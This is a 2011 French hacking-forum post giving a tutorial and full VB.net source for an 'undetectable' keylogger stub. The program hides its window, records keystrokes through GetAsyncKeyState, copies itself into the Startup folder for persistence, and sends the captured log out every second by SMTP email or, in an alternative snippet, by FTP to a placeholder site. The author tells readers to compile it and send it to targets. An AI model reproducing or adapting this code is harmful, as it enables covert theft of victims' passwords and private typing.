Apprendre le Hack Index du Forum
Apprendre le Hack

 
Apprendre le Hack Index du ForumFAQRechercherS’enregistrerConnexion

:: Stub Keylogger VB.net ::

 
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié
Sujet précédent :: Sujet suivant  
Auteur Message
Inf3rnus
Administrateur

Hors ligne

Inscrit le: 22 Aoû 2011
Messages: 196

MessagePosté le: Dim 11 Déc - 12:32 (2011)    Sujet du message: Stub Keylogger VB.net Répondre en citant

Suite à ce tutoriel pour apprendre à créer un keylogger http://hack.xooit.com/t163-tuto-Creer-un-keylogger-VB-net.htm  malheureusement le stub était non FUD

j'ai décider de coder mon propre keylogger FUD

donc Voici un tutoriel pour faire un stub FUD

Ouvrez un projet windows form et mettez dedans,

une RichTextBox
deux Timer
un RadioButton

Mettez le Timer1 sur "Enabled : True" dans les propriétés et "Interval : 1"
pour le Timer2 pareil mais "Interval : 1000"

Mettez les propriétés de la RichTextBox1 sur "ReadOnly : True"

Le RadioButton1 faite clic droit dessus et mettez le en arrière plan

Ensuite mettez ce code, mais dans la partie "Private Sub Form1_Load" mettez l'opacité à 1 le temps de tester le keylogger.





  1. Me.Opacity = 0.001  





Remplacer par





  1. Me.Opacity = 1  






Code source



  1. Imports System.Net.Mail  
  2. Public Class Form1  
  3.     Dim autostart1 As String = Application.ExecutablePath  
  4.     Dim autostart2 As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "/" & IO.Path.GetFileName(autostart1)  
  5.     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer  
  6.     Private Function getkeypresse() As Integer  
  7.         For a As Integer = 1 To 255  
  8.             If GetAsyncKeyState(a) = -32767 Then  
  9.                 Return a  
  10.             End If  
  11.             If RadioButton1.Checked Then  
  12.                 Try  
  13.                     IO.File.Copy(autostart1, autostart2)  
  14.                 Catch ex As Exception  
  15.   
  16.                 End Try  
  17.             End If  
  18.         Next  
  19.     End Function  
  20.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load  
  21.         Me.Opacity = 0.001  
  22.         Me.ShowInTaskbar = False  
  23.         Me.ShowIcon = False  
  24.     End Sub  
  25.   
  26.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick  
  27.         Dim key As Integer = getkeypresse()  
  28.         If key <> 0 Then  
  29.             RichTextBox1RichTextBox1.Text = RichTextBox1.Text + CStr(Chr(key))  
  30.         End If  
  31.     End Sub  
  32.   
  33.     Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick  
  34.         Dim smtpServer As New SmtpClient()  
  35.         Dim mail As New MailMessage()  
  36.         smtpServer.Credentials = New Net.NetworkCredential("xxxxxxx@live.fr", "votre_passe")  
  37.         smtpServer.Port = 587  
  38.         smtpServer.Host = "smtp.live.com"  
  39.         smtpServer.EnableSsl = True  
  40.         mail = New MailMessage()  
  41.         mail.From = New MailAddress("xxxxx@live.fr")  
  42.         mail.To.Add("xxxxxx@live.fr")  
  43.         mail.Subject = "toolkit log"  
  44.         mail.Body = "" & RichTextBox1.Text  
  45.         smtpServer.Send(mail)  
  46.     End Sub  
  47. End Class  







Pour envoyer via FTP remplacer le contenu de Timer2 par ce code:





  1.         Dim ftp As New Net.WebClient  
  2.         <a href="/redirect1/http://ftp.Credentials" target="_blank" class="postlink">ftp.Credentials[/url] = New Net.NetworkCredential("login", "password")  
  3.         <a href="/redirect1/http://ftp.UploadString(ftp://votresite.com/log.txt%22" target="_blank" class="postlink">ftp.UploadString("ftp://votresite.com/log.txt"[/url], RichTextBox1.Text)  





Voilà votre stub est pret plus qu'a le compiler et l'envoyer ou a le coupler au générateur créer dans le premier tuto mais une petite adaptation du code sera nécéssaire.


Revenir en haut
Publicité






MessagePosté le: Dim 11 Déc - 12:32 (2011)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers:  




Index | creer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com